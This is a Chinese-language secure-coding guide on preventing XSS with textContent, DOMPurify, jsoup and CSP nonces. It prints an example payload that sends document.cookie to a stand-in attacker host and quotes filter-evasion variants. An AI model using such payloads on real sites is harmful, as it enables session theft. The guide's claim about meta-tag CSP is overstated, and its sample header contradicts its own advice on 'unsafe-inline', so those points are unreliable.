直接 innerHTML 渲染用户输入是高危操作,因浏览器会无条件执行其中的 script、onerror、javascript: 等恶意代码,导致 XSS 攻击窃取 Cookie;需用 textContent 或 DOMPurify 等方案净化,服务端须用 jsoup 而非字符串替换,并配合 CSP nonce 机制。

为什么直接 innerHTML 渲染用户输入就是高危操作
因为浏览器会无条件执行其中的 script、onerror、javascript: 等内容,哪怕只有一处没过滤,攻击者就能用 <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> 窃取会话凭证。
常见错误现象包括:评论区出现弹窗、后台管理页被注入远程脚本、富文本编辑器保存后页面异常跳转。
- 不等于“用了 Vue/React 就安全”——若绕过框架的
v-html或dangerouslySetInnerHTML,照样触发 XSS - 后端返回 JSON 再前端拼接 HTML(如
el.innerHTML = data.html)等同于裸奔 - 用
textContent替代innerHTML是最廉价有效的兜底方案,但会丢失所有格式
DOMPurify 是什么,以及它为什么比手写正则靠谱
DOMPurify 不是简单地删掉 script 标签,而是完整解析 DOM 树,逐节点校验标签名、属性名、属性值协议(如 href 是否以 https: 开头)、事件处理器是否存在,再重建安全 DOM。手写正则根本无法处理嵌套、注释绕过、Unicode 变体等攻击手法。
典型使用场景:论坛评论、CMS 富文本字段、用户可自定义的仪表盘组件。
立即学习“前端免费学习笔记(深入)”;
- 默认配置已禁用
script、iframe、所有on*属性、javascript:和data:协议 - 白名单必须显式声明:
DOMPurify.sanitize(dirty, {ALLOWED_TAGS: ['p','a','img'], ALLOWED_ATTR: ['href','src','class']}) - 不要信任
FORBID_TAGS这类黑名单模式——漏掉一个新标签(比如base)就可能被利用
服务端 HTML 净化必须用 jsoup 而不是字符串替换
Java 项目里用 String.replace() 或正则删 <script> 是无效防御。攻击者早准备好 <ScRiPt>、<script//>、<img/onerror=...> 等变体,字符串层面根本识别不完。
jsoup 的 Cleaner 类基于真实 HTML 解析器,能归一化大小写、展开实体、剥离注释和非法嵌套,再按 Safelist 白名单裁剪。
- 生产环境推荐
Safelist.basicWithImages()起步,而非Safelist.relaxed()——后者允许table、style,易被用于构造 CSS 注入 - 对
href和src必须限制协议:safelist.addProtocols("a", "href", "https", "http"),否则javascript:alert(1)仍能执行 - 别忽略
text字段的二次净化——有些字段虽标为“纯文本”,但若前端用innerHTML渲染,一样危险
CSP 头不能只靠 meta 标签,且必须配合 nonce
<meta http-equiv="Content-Security-Policy" content="..."> 在很多现代浏览器中已被忽略或降级处理,必须由服务端响应头 Content-Security-Policy 发送才生效。
仅设 default-src 'self' 不够——攻击者仍可通过内联事件(onclick)或 eval 绕过;必须启用 nonce 机制,让合法脚本带上一次性令牌。
- 示例响应头:
Content-Security-Policy: default-src 'none'; script-src 'nonce-abc123' 'strict-dynamic'; img-src https: data:; style-src 'unsafe-inline' - 前端脚本需带
nonce="abc123"属性,服务端每次响应生成新 nonce 值并注入模板 - 禁止使用
'unsafe-inline'和'unsafe-eval'——它们会让所有内联脚本、setTimeout("...")、new Function(...)全部复活
真正麻烦的从来不是加一行代码,而是确认每个渲染路径是否都经过净化、每个动态插入点是否受 CSP 约束、每个第三方 SDK 是否悄悄引入了不兼容的脚本加载方式。



















